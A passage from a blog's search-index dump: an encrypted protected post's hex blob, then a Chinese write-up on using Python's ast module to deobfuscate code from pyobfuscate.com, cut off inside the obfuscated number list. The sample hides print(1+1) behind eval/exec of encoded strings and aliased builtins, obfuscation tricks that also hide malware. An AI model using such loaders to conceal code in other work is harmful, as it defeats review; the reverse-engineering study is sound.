26b5c166600562860c4bf231a307993475783f29bdd0065aae0cad0537f9af4be0f9fade35b435dc326f964f967db7b7c7109d6050e339822303f24d33ab4da8a4532100f44946609aae58d72be6fb75fc8ff5faac5ae83023d45999fe02d6dc3cf4686992abe2104c2ea955bdbd6b68378585e868727329da37b1f3baf0eee3782a5d5382378b5357ee426a24b085bd03e7cd26910258876298f340465577a70302758966f7c498d091b024f2660676f1516a93512a970af4fe70ef24a8e18ed7fa80068c1f2637e880856a093aa208b8c4e2f06e78f1e88ce32752f082b5ea2ee6180ef4c9f0e91ba8cc579d19b4de106d99b84516edf12b93df1a41809ca663a44b6afe59f211da48c382ff78aacf136f77fa670716c1d29c35721845a3df8ec6320e04f5506ef862d7058e7fc4f3dfbe01748fcb99c8e171232d017f057a15fe76d9f583f1660be7aeedb6ab2d9bf390ba10e6f7f45c26bb2c20217c4a14cef1b072ebc75070bc899b26c478d4d15695cd63d5fc2692fd813dab7ea1e879a705ba01c9cfdf507749f6ed47ad2b4357767806d69e7bc8ead24e320296b257788588c91b7565cbde7eb404a23016c432432f2b6a54565258361f73c82dba5a3a2755d4bd297e43ba92a84fb18765b96f3c20fa362d7a4a80ec788539583c64bc69f1e3f9f5bf4fce442d6602924e4139bebef6f019188a47cdf362c7b40c744dcd8c95e55af40970fbd157fcdfa1fc02efc6d78b223945ddb874977d11b7319643230b3f9bdc78a7789b74f4a205166fb0e93497d6e497be756a431fb0c9e25d5d34a2e635525fa5d6c98e2913851b9004b24055dffe29c29b9783ea6d0ad47b3dcccf590dc7bf5907464207598b1da5e0770952dca14d33a3b8f5be60cd8e10b4dbb34da1709589a736c8365a32814eeabec3ffc3f6c733efe9626e9222e1dae9d085c90d8cff9f8cd6e81dbde23d5405fe68fccd688ba2459809970fa8a2300132277e981199c7aa6e5dd06a1ab538f737745069b21a333ed83dfdeb0da370a94c397bcb91c7e0bfdd6c69c05e260cc451b038050e04bde12165f605b55bf6b7b6af6dc3a6e044ddf5a78c8c46f18ed931fb32c2a20e731e58c473c330994ff86a25bb37be8a7d4c97d96529e30689679ecfa2fb35efcac6ee4194612fcfec7397490459ffcf1cfd5dabc866006d225f1d5a07ac97c4f9358ee5a5415994016c75232448b510a330a722b6941c15d52c9e55239431bcf71b394c27a9585c850d3a462aa1e190661f0b6b9009feec9a8e68db56f4091184d5c0212ed4a34e10f1182985e9b9c32aed77acd2e717fb78819f8e410262918905c55097fb2914109410e5b50346fa8f00398f0b6e7ea41af9b6248bc72886bb0e8134676c3fad88363f706a6d1657582fd5e24e6f70fcbe382abece27a2a0c1d857c64a361e37f94126134a2aa0905a26effd3d69da23fa8ca5afe2b7c4b82364506254a7b54e2fded926181dbd7848125997d9cca62c192786bbf470b370f26dfd1d68844a4bc843893ebb7e80c80e49989aa72a622007e50f50a1ccf866c6410e583860caab63321a10128dfd8cd4255567695895313ab35e973235dc957ec11d8c70d02c8671ca3d379474db7c9a7808891f09d3a652dd09ec839e9e6aa0ca3700d2725b5fb4dac75f60feb6d8db341293bc14df7602d8ad54fdb70d133f8296208c7ff85b58a27789650c6d3030e099692375c1d925e462e85cd26d9299a8f0c4fd0d9d0888005ef31b0e011f3ea4aab665d8eb5fcf47c1057d1e12a633f5415b4707b6328f71aad7e8b6ffbd3dcb101c5a379b596a4bf2e9943280e3097b681ff9ad494ce0a198c874f2f50a8b51b9b67deacfeb09a71c5dfafba0df4026e55beb5a0e5d402637611ef75362a56a613fa7c7676a91c138ba7aedc7616b53f1291db4dc2d0e638185b05ed3677121a2f37c5f33a05e9901c0be68ca5083da69c00b0265b3c97a3b7de4361ca81c3a20719ed0e1a921159345b3c66f50735c62a1c052df90da17a53f3565d89e97f8856d37971381fe6b603941b44861f0d8d2a13464bdf3b6d0bb1e7794e4b7463d6a6d30af8c2cd2cb5b4d56ede25b95c5ea522d4dd03db35f08b6e110d6aac82a82d8b73bd109c74d1996217fb17004ebd0ab6c759a8d2d99ebd184dd5bca95f9a501b169396e1b2e7cd261656321d8c67f2d303fc0447fce09cafd10af0845b42dfe8557988e94ecfceb62279b94f1a09d1c967c6410e1988fc99b7933cef49c437fb160760eeef6ce612286d30dbc5a7b0e8573e51fc470da517e9f66b138dea03f0158115099ad773f6bf2fc259c2e572d7ec67b92f3b850b68ceb9853cd4f570931e806e65f4f127967e0b40bf7ec71cebd76c5c000db7f15e1ad5e9abc99535180117ee00139b357d299134878f24f54d5137c8d3fe28c28aea8e68334cdefdc21df3b7763ba116e0e3379fba0db7f854ba8b46d18be15fa83a1cdb12e3f63170343b0038b885633a46e4f1aeb1f4dc06476d857a4d174d0a56964b0ccca2cfeec1215643829c070a645a41b8b0a2a48a9b145f943588600add58cfd626168ebdc8ee9d7212b25d8a309e4bfd9e615b04f0c290bdbaa85aea67b67819774202708e1922b5c93519e12f700dcc8b07f9d81541714a543dc43b10a0428845225aba6105e9206209e2a6b1874a5ac4c89a9729d9822d236a65285de838e3476e7471435b53d87e250f39cc4cecb69b08bd7904cd5af9845e2ac7ec589a380f4296b85922176c8ac2c5b61e4e546fc42e6fffec1f3cd55f42e0b26ff72954bebfe2fb0f10ba9ae01800031c091962f087f9820efe35b5c2df23a2c4e36cf5457bd7a7c7ff4cb3759448c5174a45f84fa424fba7b825fc88c6c524019f80806e1b07727b66819102ab4a679fe6d513279c34dba768cb884888f8cdf8e60afad0bdad9c8d634c0dc1fb1e83c8c6fe7146541532e6c1c4831b102870fd0aae5a520b9f3dc576bcf4086590cb99b17d27951bd4cd20639098abd5ee7328cc0507c2bd6bdd9e78e95491c3516e55ade086b3bf85e088f6154b9bbd71391440d8274aabbe5e75e6cf27c48e408a3466b8ca71a319029af8122bb1f24f535428d1914b5a1428307bd74a6234d7caa59cf1ebaa236cee42e9897fd92effa75b80f21651baace16cc397d8bf699f0192ffc8e0195ad0150092ddaf01e8d0506773aa2ba4c817166e611af84f6b9dc79a72325c74c6cc84ba549f81d032fae40b8dece7d4468c19406f0efc86acc775067497835648c01d7189563485c7a0fe743ada35c28ad97b77f618653eb50e5908fca1317b30f49d5f9ec9b9283a5efd4f7a6c4e85b9d65659ecae1b59ab667a949fe38cafeb0f31cc7a8e27998c6fdfa6dd3f673c236a17409248a2c3968841f61926d803135c0f5c761be3a9099c7ab03e44d4dfe937e871a517add623853d69030030087dce5cf64cc27d21ff0846c2b18196f9f23d76682f7b8b9063450cece7f567813bfdedb5cccf84529c61cee3e8173860df6297b74633ea434202a493fa29460a51f4f1926fbc50fba8b1f3dde7091ea2a24cece87ffe4a2d7fbd24c594ff290b84639fba61f2db65d0f032b6f1a77ff6a6305c442391f6ec4c25631eb9a822437bb1391ab1b00f6d2a25c49bbb5c2cad8d7882531e775ab65d429f53f5394eec105d914a48eb6acaf0643492eea1475bdcf3dfee4268ff91250267a1a22071f6e9d11904593359d92ca150c297531673bb2488921d992dacf47badc50f33afa286e92fdac9f2a2a1199164c9e29eb447463df278e7f229409ab060bad842beb087b7c823554d8156407bd33b664ff65793d2741062d929e3b5d1c826a85e8a63bfaccaae4b60ed06e5391202d840af831a500829a27c132a91bb23c6b22f01b72493c5680cd0e6171335c155981324dea7c6d3b67b0e6d06f4d78206b47125ff8cbd201e1694df5b18bfdd634525cd6dbe9159001e7d48dfea7c2ed5e25aaa3768d9f120ee6026b5019c1c7f170bf7e578289cdc89b3075f9c7bc988266a4c42d293353093ad9b1568926b2f186a64640b3dd622b43ba7b451fe38f1f800c10bb11d3904ca73f81a3d1d1688f6a37740399bf272ef3bf985660ad203db7eca00232b94a8134db1cca47225cd1e316cbeedae96b90b3c45e984f173f74a4acb73d143c919785bdbef146039897d88c1ac8f39dc7fde50ffbd4142b844a6078bef4b351afd54da9362608c022cf112458e9ed9e8d4f1dd6e1595ab25d3eacafdcf9eb071e782d6bf1e9cb5eb00c3789296abd1982ac3f361453c6e9728a220e97894368b95c31caa02198a78d0f65a64049b4a5626fe1ae4eac53a02c5355c57a29e38186dd6d94a2149002f85e398cc96535204733a1fc4900889486448f4bd1a02b794c9e0bad0db09095bc6fa25c35b0a360173972994921bc8378d890d96771d61463caad9a8e39451f0120e698348835e7c2f7b7bef93f1e2823a8073edad0c3e9cfcbfe95c75256bef8633cbc2e251af6ef262181a58100295f9f75efcde098a38d520b7a5da2a52cacadbd0874d53f3f01b6cd76530a31452a328151fd4ac87ef9c3bdfc61eb3004f54c569dccd59dc5634f5211c7fd8d93343b2822bfb22a36a4deb1fb9995cd715f8fd230f37f69c043c8b4787cb09680b8a1a485b541ea32474101ca8fd2dcd6fc4342687cea585bbca30d463da3fa5aba99547639e2de78f15d82e888962bc4d482372353db505052aad6955de4ad5bd6e7933b5e61430860ca5d787314985709ee4c84ac00f2b4ca60f0d344c93395e19622211feea8962f80fe9d59daf4028976001a8cafb588dc5dbee7fc3b4913102ec6e22d485c6a7964ad846182b8034019d04158b67a5d379ac019d00f84698f6c7840fba85eecdf8e62df60b6a9051557c76ccc8c34e0a3dce42af009cd68791676dac7e5162796ad189bae2df2cfde81aab6ecd59122f20abd2caf8cdf4930227d3b6a829eaadfaa01e167b653f63eacce30d7e2616cca39d302a25c22f38a80b80eabf05e52b10db6399b8f24fb9a306fca53b728f69ead0ccd007447001a8071e64f6f6dcea8fc360ee6291b9b44c6c737a375e8b2e09264be6b7f74a67e1006accb92e150c9cf4d7ec54c089a9e418108ad3065bf547a54bfa8f754afe4c6a80fe20b7123c27a40930953eca9e77368cc60b9c1de953dc9551aacacea7c17dcafde3febd5d2ae9b807ff21f289742d89bbc4687396069d739c18fe37b87edee2689de4e861125e7e61430180cd6d239b99a0ce1e5d666410fb21469b3d7cb86dd60d0e40cf6313a2d9e62daae06581833a82b3761fe499915ce2e93b3f352bd9a052f9b3218b5fa7a2c29cf21a7b84ffefe6b9953074dbf017b35d8178f4f490a64679e5e2235f3ed54b6b977498322817839cf45038f8c53b4bc18b845beffbec266cf7009a379518d460dff22d691cffee00535632a5aeaeed88e8fadd71b5e1e85cddc133c2d0715ef2829be9b8764973341fbd7b575f84adc0d9c33d35ede04f2e0ad26e4d746346cb5ac7c435b19130a9b3fbdcd2f63bc54337eed12024a3f250db97714ec4b503ca2963a6adbb236d35ddbd24a93b2b20ec11575264cb76c604830aa81a5263c07cb34dce351fe59c2dac6b247d5d9f3468f0201702c51d120e19120c3564d80bff3446fdc6e5145805a4b3815b04177b939f6c3ea03445f61e6f18605ab89db952fbc861380899b4d8c499de437d51f78e9a7839df63ed7fdd82d565507e1b9b8bd92c8db05f0d9d20ff5e041f6e0e6ccfd0f1994204b70154775c4f79d48d9011d594abe0f80b35f8655a11352baf532dc88840d642681fa630f10072def00796e4a96bc3480b532ab5d1dc3f656d76f0a4808f039aa7d4be277135eab4cdb36c9f07a8e34f8d6cb02a067df8560c4685ac086d0fcf9a4e60755ccb25d8f17e4daae5e0f96ded2ecb24cdd9dce8bfe893a0b1860b9bcd9dc6a8db7c33c615d9bb4c9ac637064a8a964f2fa230f99ce12dc7c4463bd0e47e929b7cea8ec6813e35d90e084e7bac26988e10ddc2464a85eb2e24d17e366ccca19f99c681b79ab2ac68d49cdce51960b587de6502474868d15728d58d263271f859f6f6d055b20554a42745e83cf228a48e9e0e8b70f6da98dcd3c76cd2df2ce33d9b6736b93cb33663f547fc935e63ef99a07d071e49fa0afd48242b7bee3863b9feeac792968e759bedb9cee6fbe1fc15af244802094cc7d51adf016e084caed19bb88dd797155c5b8a6b5e422e9650cda09e4b67e0c764ce888c29e88631a730d66cda02097b0e713e344be3b193413ef47f94546f35fc901d0a087fe98705957b1b5cab20714f6f15bc95677e45f76bcdff1088f63bcde514bdda61a10097f1f9930b9304c1449b6bc2efa00ef7d1026aa0525b5c4627c0349fddc25ca5c0473153af3462a61581e483bcd51ecc537324857f38f20f07c3f86a20f94b977ea6b89a0903dd80c10e7be692a51bf457f7c5f86128558da276d0ea91d18d2c2e7dc980fa2958828cb7d2c6182b718df029b5d66a2bf05e5a55b4f03b81683c76a79ef03e21a614a512275e3107db98c593e439e87933aaa54ccbd1b0cc40a8b52b763f3ebfd5d953ceabd194638ffbc5414385709f6303145470610e8b57bf421559ea1c84dd6e1bfdb49de0ea91426e072cde0a5f170e203007774220a2103f4a99695f8d72776b324a082cae8f0416b050b7fb8ba3e99b7ad15a28e59908faced9443e0bc7bd404663763412d3cabec6de54494a1510769364dc63a0962323f8a4c61a3b56dfd588a5b63947d50a9868fe4714513e81f2ec77faebf9d7b01b1e1c48c105637a5e2e77cbd5335e2dd044275eb3ba01ba4b392d4abaa1725a5ff56ea73e035d24cc0943e2485013430562161a50866d167b78d4f7878f8c45937fe407fa3e2b3bbc36292ecc3396973a4d49bd77ce553228dd8c50c7cc80482dacbf4deb5e324b85abeb4c3579c270f44a30c8d2c654b47951ad8d63f35876c2e03713dea782fb8c58d6387c0c528b1b36027d7fc27616f7f0a481689c451924591b9dbbcbb40a3f8f854d38a67273f41b96ae9940c48f27806d26cad2fa1fbb2a9f92de0dfd13f793325540f749ff61fbd91257bd6cd3aba94df6e88d4ff9935ba707c6e923d36a330cc242d78cad0ddc5f480e2481354260cefb803f5fc3c89a7a01d40854d7224c8d0f3819c5fa962111d3218a98cb5e44acad516b88360617a609d5346051e0b977dc5fc79d258980eb76461e1d67f90a53ff3364596c7f8be1b9c4b8bf1bbc3e3a8b85ea7c097ca3cf0dd924b02e294f4c53d1f1d9e779f318f1f1ac45d1c19d39ed4a4745e2d8faa1cc1590721fcb83fd4f71ea1b4def98a9a92aa9cc5f41e808a29ce43ab45760053d4eab22ec7e560b0254974ef3bd2ccae7b35b8ea28cfd54bb21100a80382ecce197526c6e7e151924d5c8a66aea409c5eea6da1802ead6d4e7b374d85ad5e40ddfab19b1ceaa250088f90e0179c222c4fb69bdacdc65566cdc7fe1cfff4f27c257e04b0593fdfa3feaabcbe29c6779e3dc1d2cbacd66682db335263776fc2d262a28eeb680ce084cda05e708066756c615d62a4324522aa3b09dff74fff3fb2dcd3979f63d90a2b6c73c1583f803c7877577dca6ff1d268f2d8edd05cd2890504b97585a51bbeba599fd0a89a530cfadd2eb10ba9c8c1f5d90cd678d4e51c2ae95603d2713b08c6bf622dc9e2c5b9ce8f4b721db9366df0b19f0596ba737bb4bd906e559af5b283926af78f3c627fa45ea41f31ee97b9bb05e02314a687a9bc66c17cc3fa64169401fe5721814eb0a248a6d4e89ceec8dec13409bc84175e160fe0c1e8bc7c527f0f67e327a63f5ae1c1af7cf11673c1608ce42cf83d484b344e061ec763c19a43e46308ac72ef5a9ee4694ff36ebe75d130780465553f4dbd18d3bb33a376f06577ebd59e4dafcabc113e2735158cacbb0acdf41d46fe447a90262350b727370319a1afcbbf4e5e3575c17f9b4c98294deec861b7304d646ebb2228c45e1b963b624e2eda7a6695248fd2432f49f76872a8415fe227591404c3e4df7acd26566b70eccb29fc43efb1f83aef833c2a6770fd1f390bf73307941d0587a1a4309ca20c4debe2128b53ce4996ce28e6b186b5e6d097047b7d243a487fc401c925214f44d9d8d1550d5b78e9215ae36182575f0570d42422019c1361378d4a7a6c5cf78d9ef43352cd64369d945a501013ad157f0ff95213b95071d8d23aa4769125ec14104ffa9dcb20c9ba2a031c6b49769ab33cf2d10c62f5a6e9bcb39852400e4b58259ce51122dce812d76b65f79628e603ee6c909396e1690df4afb0ab71ac31f5d4b3a4e67ee198ded3a88fe5d821f7d5e1f786614a5cc1c6f6c358b8b7053c4d98185b7fe7876e553274e2b45d0fbfeed60dccc761a27ba37deac46567be78b116a16a7fa44168e1a7df7e9e0adea85fcba77a54d99baab34d790244f234a74646e2c2711730a0b116c1a48497315547b5ce989bbf9afe69cc7e62570787b5394b8ecc8f7e5c68395bba0c9d042b03419bea27237d03de435fddc6b4689a2e025a23d6a38a6bb80287a3c40d5c40588d2dcd35a7983106f870b7c7d258a0e9944cf20fa651d9af6100d61389b6f34586813d85993032fba1e4aeeeb5818736fbb7c8f8aaca51f82a613538bb66c35e782cee0f7682d4300d708b765d0d3d98d0e73aa4cec895dacfeeae8c1f8b693cfbc1c7d1e276437951787e81a430b7490b8b48c3405f3d18559d4a92a3b346be91a832db55ebaef552061eca09f69b907c647d694d18d08aff8eded368342898a24de1a26764a509e3f6454b992be248fafde3bb6e495aad8938ed4b28b3b95aac53aa89515a466b1e887c33418002fad7a91671e6d26f204eacd46fc7da3e601e2f55f34cc0fc64e1072ad043ce42b476171c240e3c42fb425b401e2bde200d1e4f104ea3010e9215d4c2905f5448f633a7888fb9b4f87619526939e0529b0ac3bafe14aec49b45822b96ebcb208da870259f79504f5990a315cd9a214a4ff77c6f55acb2f9e853440866c5eea2cb8edcce86bce4f268cff2a4e615be80ccb43ad9f8399f0b12c73ec8700f8087517ad017ca03ae03244beaa24bb19ad7610b8eb96ba8b8e96933ad4ba572f0f54db32bc47e04d3e33db9121e7e944f2859ab6971f13d783073cb6d1722c24a17aa8bc2ad8b0b7797ebd0e924076a350f3b19f29b56a32fd5479145e538d3a5b524d3e874e2d2b3f0a4478f6792a5180560f7a7e740c2db10da0655a363152c0929b5527e5730a62996d54798a02c2aa3fadcf227f176d76f9623ff24c6686c232250ccd3973207605f3f3f9d47defab27cb13fcb2adde3744424646cfc5749ad902a7e9f1db8fdc2d288d389b471193cbce093c5f6303cd9f021fcd47cf40f39fd1f39255631c56cfc034023022d28eb5c8f6f107b9a9c8c0bc186627e072db8fc95af36dcae1d415aa4eccf1ee4d9fbd754c42fc2db18137b92b405b5235d2033ba6fc42d2b1526f4188b5667d3ea1dec5e7baa9d56651b08b480ceece53c0fe22cd581a49d55a2ef816ae6736244516b50af89ab9e139911466281cac1b2a48205c88da03a77c0571c606d8c155eeff796b288c114284e60b1df9228b56a6cb6476e6c300205b9b01d547b87b161c62503530c8db86812b540c6ea9d477c2ceb5a7860b608ec66fd720d47c4225fb0a377ebf7a6ed911cc82e617005c29c9642e61ea82b37b70e6f3b6c39b446ca42e945eddc1ec0a6fd6a50dd72aa774273477ea026b6a7fae9c6dc8c5fcdb575e04280fb364a25bc9fc42c21ec454013157efc66c6810d906f71f86d2eed8ceef37dc878299195f4b729f5a943469c5fa75617994edda0aeafbcf91f0e24e97783e3f3152c3c8b45e43d5df0804a67fb9b00023bdd079a7721e65c4020232f2c7e5cc1ab14bf09b0621331bea0913a915ed3f9b2bdfdc17eb36e7f622b9f905a142e351ddd55165308423d7f4d2bc4ca0705a215e95117ef18c6dfacbac0d99326104e168da01e78c870853b18bfa30f4720b76bdce3d660cf8556786cab3c2ee1a8c1ec4fa1bb383669341b54ae20f5fc9b0c1f11ad138647f2743ef72bad4f12ca73d9c7474a785db7521c1d180486886bbca2be5376cd4332bd5b1ee7cd877ba25c89e98c45e0c44021ff32a3354e3ea6ba91ec4d99740436605ba44c1321997d25696199add732180d0e7dcb37f87639c375a0dd27e9aea93d91b1ed79a01e30367257a36e8ba0776583e95f5cca18b1ea6b6144415133a6f32fc0907228cb2b808f4fc80923d157d6f4fb0aa142a827fcaa3d543608d6dddbaf4dc32e21f2ddea Hey, password is required here.","link":"/2023/04/25/%E7%A2%8E%E7%A2%8E%E5%BF%B5/"},{"title":"一次基于ast的python反混淆尝试","text":"0x00 前言之前看到一个python混淆的网站,感觉很不错,就拿过来研究了一下,当时霸王硬上弓(指扔给idea美化代码之后然后插print)硬是给撅出来了 当时硬print的时候就在想,能否以python解释器的方法来处理分析这些内容,然后就接触到一个东西”AST”。 最近刚好看到他们家换了新的混淆方法,就拿过来好好研究怎么用AST分析了。 0x01 前置内容Python 源码编译过程Python 源码到机器码的过程,以 CPython 为例,编译过程如下: 将源代码解析为解析树(Parser Tree) 将解析树转换为抽象语法树(Abstract Syntax Tree) 将抽象语法树转换到控制流图(Control Flow Graph) 根据流图将字节码(bytecode)发送给虚拟机(ceval) 可以使用以下模块进行操作: ast 模块可以控制抽象语法树的生成和编译 py-compile 模块能够将源码换成字节码(编译),保存在 __pycache__ 文件夹,以 .pyc 结尾(不可读) dis 模块通过反汇编支持对字节码的分析(可读) 一些简单代码的ast分析这里先上一些简单的例子,为后面的分析铺垫。 12345678910111213141516171819import astimport discode = '''import requestsdef req_baidu(): r = requests.get('https://www.baidu.com/') print(r.text)req_baidu()'''code_ast = ast.parse(code)code_compile = compile(code_ast, '<string>', 'exec')print(ast.dump(code_ast,indent=4))dis.dis(code_compile) 得到的输出是这样的: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273python .\\test.pyModule( body=[ Import( names=[ alias(name='requests')]), FunctionDef( name='req_baidu', args=arguments( posonlyargs=[], args=[], kwonlyargs=[], kw_defaults=[], defaults=[]), body=[ Assign( targets=[ Name(id='r', ctx=Store())], value=Call( func=Attribute( value=Name(id='requests', ctx=Load()), attr='get', ctx=Load()), args=[ Constant(value='https://www.baidu.com/')], keywords=[])), Expr( value=Call( func=Name(id='print', ctx=Load()), args=[ Attribute( value=Name(id='r', ctx=Load()), attr='text', ctx=Load())], keywords=[]))], decorator_list=[]), Expr( value=Call( func=Name(id='req_baidu', ctx=Load()), args=[], keywords=[]))], type_ignores=[]) 2 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (requests) 6 STORE_NAME 0 (requests) 4 8 LOAD_CONST 2 (<code object req_baidu at 0x000002245F825D10, file "<string>", line 4>) 10 LOAD_CONST 3 ('req_baidu') 12 MAKE_FUNCTION 0 14 STORE_NAME 1 (req_baidu) 8 16 LOAD_NAME 1 (req_baidu) 18 CALL_FUNCTION 0 20 POP_TOP 22 LOAD_CONST 1 (None) 24 RETURN_VALUEDisassembly of <code object req_baidu at 0x000002245F825D10, file "<string>", line 4>: 5 0 LOAD_GLOBAL 0 (requests) 2 LOAD_METHOD 1 (get) 4 LOAD_CONST 1 ('https://www.baidu.com/') 6 CALL_METHOD 1 8 STORE_FAST 0 (r) 6 10 LOAD_GLOBAL 2 (print) 12 LOAD_FAST 0 (r) 14 LOAD_ATTR 3 (text) 16 CALL_FUNCTION 1 18 POP_TOP 20 LOAD_CONST 0 (None) 22 RETURN_VALUE 大致看一看,不难发现,ast处理后的python其实已经和bytecode都差不多了,相对应的位置都一样,只不过可读性比字节码好上了不少,看起来还特别的直观。 Python ast的抽象文法:这里就摘了一部分,是这次反混淆需要用到的Abstract Grammar mod ModuleInteractiveExpressionFunctionType stmt FunctionDef<brReturnDeleateAssign… expr BllOpNamedExprLambda… … … 在我们一个python代码里,出现的主要还是 stmt 里的内容,定义函数FunctionDef,赋值Assign,在这些stmt里面是各种expr 结合上面的语句大致对照一下: 12345678910111213141516171819202122232425262728293031Import(names=[alias(name='requests')]), --> import requestsFunctionDef( name='req_baidu', --> def req_baidu() args=arguments( posonlyargs=[], args=[], kwonlyargs=[], kw_defaults=[], defaults=[]), body=[ --> Assign( targets=[ -->r = requests.get('https://www.baidu.com/') Name(id='r', ctx=Store())], value=Call( func=Attribute( value=Name(id='requests', ctx=Load()), attr='get', ctx=Load()), args=[ Constant(value='https://www.baidu.com/')], keywords=[])), Expr( --> print(r.text) value=Call( func=Name(id='print', ctx=Load()), args=[ Attribute( value=Name(id='r', ctx=Load()), attr='text', ctx=Load())], keywords=[]))], decorator_list=[]), 0x02 开淦这是一个print(1+1) 被加密&混淆后的结果 这里先剧透一下,上面的obfuscate在第一层用不上,这里就先看前面的加密部分。 大致扫了一眼,整个代码里面,全是变量定义外加lambda,最后执行的表达式(expr)也被混在了这一行里面,这里仿照ast.py中注释给出的代码样例,搓出Assign和Expr的抽象文法 12345678910111213class AssignExtractor(ast.NodeVisitor): def __init__(self): self.assign_nodes = [] def visit_Assign(self, node): self.assign_nodes.append(node)class ExprExtractor(ast.NodeVisitor): def __init__(self): self.expr_nodes = [] def visit_Expr(self, node): self.expr_nodes.append(node) 开始分析:先来一个print(1+1) 123456#pip install pycryptodome , It works only v3.11 Above.import random ,base64,codecs,zlib;pyobfuscate=""obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(decrypt)'],['''Mg9q#UDn(oW~!Zy`F!j-yD|'''.replace('\\n','')]))_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\\x73\\x65\\x74\\x61\\x74\\x74\\x72\\x28\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f\\x2c\\x22\\x5f\\x5f\\x5f\\x5f\\x5f\\x5f\\x22\\x2c\\x70\\x72\\x69\\x6e\\x74\\x29\\x3b\\x73\\x65\\x74\\x61\\x74\\x74\\x72\\x28\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f\\x2c\\x22\\x5f\\x5f\\x5f\\x5f\\x5f\\x22\\x2c\\x65\\x78\\x65\\x63\\x29\\x3b\\x73\\x65\\x74\\x61\\x74\\x74\\x72\\x28\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f\\x2c\\x22\\x5f\\x5f\\x5f\\x5f\\x22\\x2c\\x65\\x76\\x61\\x6c\\x29");__='600840 10052792 2475510 107811 3460338 725070 743968 2892000 2595808 1123520 4498098 4658724 9505818 3510345 255392 146490 5557929 9774387 9643374 676195 8169140 8968656 7951905 2729216 6994785 2809039 2272480 238206 8998248 10083880 1132512 1887269 9978295 4040976 199290 720029 6381240 390456 4855272 5536608 8270336 5334956 137240 1950112 813888 1000864 14176 4719645 7434130 4414928 6253299 9947928 1058600 1230358 2126544 2411955 8232000 3136064 3545955 10065990 11478610 1845676 5793228 1659528 8606412 2662784 9252354 3826789 8515228 10136529 9876386 4503170 4636636 3050030 2304864 8648920 3476588 1063810 6624464 4304298 1150491 8042410 11245620 2352544 7278969 5070780 3834960 143016 6244008 3168128 11537244 1865133 1213344 1977057 519120 3126900 1538392 2683994 3910416 125890 1943840 169376 2568608 2306112 1493210 846355 4957785 3989836 8217104 10113987 6212658 6166328 5037850 7088140 89080 2665299 9719915 11920920 8955970 163995 576706 283176 3952332 6138720 8659980 10319940 3459800 1280676 161860 51870 2435250 6931656 3196522 1527030 341905 7265895 9809455 5280688 6588183 1684008 10751112 3620735 3711935 2101440 809948 7445910 7656305 6875824 7874685 7469960 4394725 5493528 3843530 1205130 2690707 1967374 2228611 1179175 1150372 171600 701454 4804904 669900 5363840 4755408 11124985 3124634 2961893 2837437 10306240 6771644 3092793 3541328 182988 7504380 2047000 2964060 3378704 8487488 7190998 3697158 1008513 9005208 7376139 3927743 9552368 2742597 5133926 6206652 2311680 3009798 833028 10506608 3530296 4332300 1356850 2624527 2751793 2669733 2394070 3060196 9653172 845520 3047668 1129650 1732414 1747310 6141852 3553786 8646840 10742180 287180 1469024 8047488 11999933 3563346 859220 420224 1719072 288032 236160 8018628 6755070 3157506 9098557 82624 8832714 3347765 2617768 861504 1658215 5273592 2594072 661024 902160 6018871 5059712 9333546 5543478 10761204 2640896 8903453 1575480 7633185 2561625 10578968 1218540 2351744 2321307 6116045 1633408 7015763 5559960 703580 194336 3119584 275968 733760 8284032 10978086 2905647 3348153 823648 7268835 6811105 2865536 6322155 8007685 196784 7085907 1614012 2185672 1955680 2770597 3622466 1278320 2700033 3743630 6963888 713088 5437432 1507305 2370048 8338983 4488036 4277988 9789636 9784072 5294239 4570980 2052020 2932737 873420 692064 2712832 1440256 493184 2269836 5935947 2087019 3347070 9042473 2466925 1163640 715299 5119400 61600 6803360 3070472 3586505 7106652 2033070 3448770 1332254 3203700 10746064 3431176 5216964 6666840 4895988 1158993 1447466 1891930 7078112 6234472 5222771 3231394 5588080 4378418 11000396 10886880 8793728 1153926 5624706 10051328 4147000 877546 3422952 2137083 9117108 160089 559164 5589552 1199496 4719258 5596015 6874390 2490348 1775612 1560720 4793584 715768 4420870 1858864 1768731 6089081 782892 9675759 443322 3954581 1434120 5588080 7513732 9453620 9258872 2909040 2799450 94254 10129700 9949920 11461032 497182 218660 779670 2491648 2679584 494368 352064 4780650 2815914 294496 7500159 7957680 3969000 180320 2806720 695360 4723901 2923730 6454392 9958698 3237507 9151509 4419136 548540 636352 2456512 1158016 760864 1530048 1579104 2585568 430784 2442792 6334013 8462433 5897208 1869828 4518740 3117160 5861968 1116906 2769468 816450 2827072 1415232 1191040 2284736 8500463 5873256 4862550 8653986 474048 4160392 11480880 2319080 5977776 4726700 1302857 2626355 2011353 6087816 4281612 7839 8072324 1344846 941040 376416 1535392 25216 1638144 940672 908128 1618464 2692032 10648056 9403706 9440490 4338990 8526326 10022230 3095680 5052656 1556850 3580776 899200 322624 1953120 70272 295072 4593225 1466046 1091200 6202410 2524200 3669480 7108528 2021742 3980813 775188 2749880 879060 7325537 2466936 3110290 5079795 2893968 18560 2327936 929024 2551104 2492384 250208 2255232 2757472 1236384 1442994 8935815 6523840 4058288 758816 5608275 159264 4936678 7766440 635360 3872280 3241388 98154 46120 2160368 1370625 2638555 1671604 1677458 10174381 1842902 2885703 1477056 2982847 11056675 3048096 4126658 5386576 8473294 255852 9015797 5719266 523215 5380544 7602876 3131200 3952665 5033820 6584982 3005160 3080910 7898256 1513884 2341428 858130 2530240 1594784 2112896 2613536 9160801 10402320 9666407 2264229 3761800 3583302 3224816 6873656 7062880 2358440 1934464 2074850 443128 2641596 11325900 7407946 5716016 5132800 3202520 2705549 2412399 473240 41376 1962080 2383136 2582624 116230 8708018 5645880 6635178 8949913 7043904 9106580 3237618 801350 193792 558464 1907744 2121536 7285534 6910080 4454403 7914654 3865800 9856668 3906900 1701828 590760 